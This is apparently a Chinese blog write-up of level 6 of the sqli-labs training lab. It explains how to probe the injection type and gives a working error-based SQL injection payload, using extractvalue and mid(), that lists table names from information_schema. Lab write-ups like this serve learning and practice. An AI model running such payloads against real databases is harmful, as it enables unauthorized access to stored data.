sqllab第六关通关笔记

知识点:

  • 报错注入回顾
  • 原始语句测试
  • 截取函数
    • mid(字符串,起始位置,长度)
    • substr(字符串,起始位置,长度)
    • left(字符串,长度)
    • right(字符串,长度)
  • 加入截取控制的错误注入payload
    • payload:id=1"%20and%20extractvalue(1,concat(0x7e,mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,30),0x7e))+--+
  • 关键表信息回顾

首先判断注入类型

构造id=1/0

发现正常输出;应该是字符型注入

构造id=1'

发现正常输出;不是单引号的输入读取

构造id=1"

发现报错了;好了,双引号引起的注入

利用错误注入进行数据读取

构造payload:id=1"%20and%20extractvalue(1,concat(0x7e,mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,30),0x7e))+--+

成功读取到了数据库的表信息;进一步可以读取字段名和关键信息

这里采用了mid截取函数进行长度控制;由于读取的内容小于32位,所以直接全部输出了;要不然就得分段读取

10

相关推荐
wdfk_prog27 分钟前
[Linux]学习笔记系列 -- [kernel]kthread
linux·笔记·学习
鸽子一号3 小时前
c#笔记之面向对象
笔记
偷偷的卷3 小时前
【算法笔记 11】贪心策略六
笔记·算法
河铃旅鹿4 小时前
Android开发-java版:布局
android·笔记·学习
im_AMBER5 小时前
React 18
前端·javascript·笔记·学习·react.js·前端框架
yun68539926 小时前
读书之反思系统架构设计原则_个人笔记
笔记
d111111111d7 小时前
STM32中为什么会有APB1和APB2两个外设有什么区别
笔记·stm32·单片机·嵌入式硬件·学习
71-38 小时前
C语言练习题——判断水仙花数(0-100000)
c语言·笔记·学习
摇滚侠9 小时前
GIT版本管理工具轻松入门 | TortoiseGit,Git 介绍软件安装配置,笔记01
笔记·git
锦轩韶华9 小时前
计网期末复习--选择题
笔记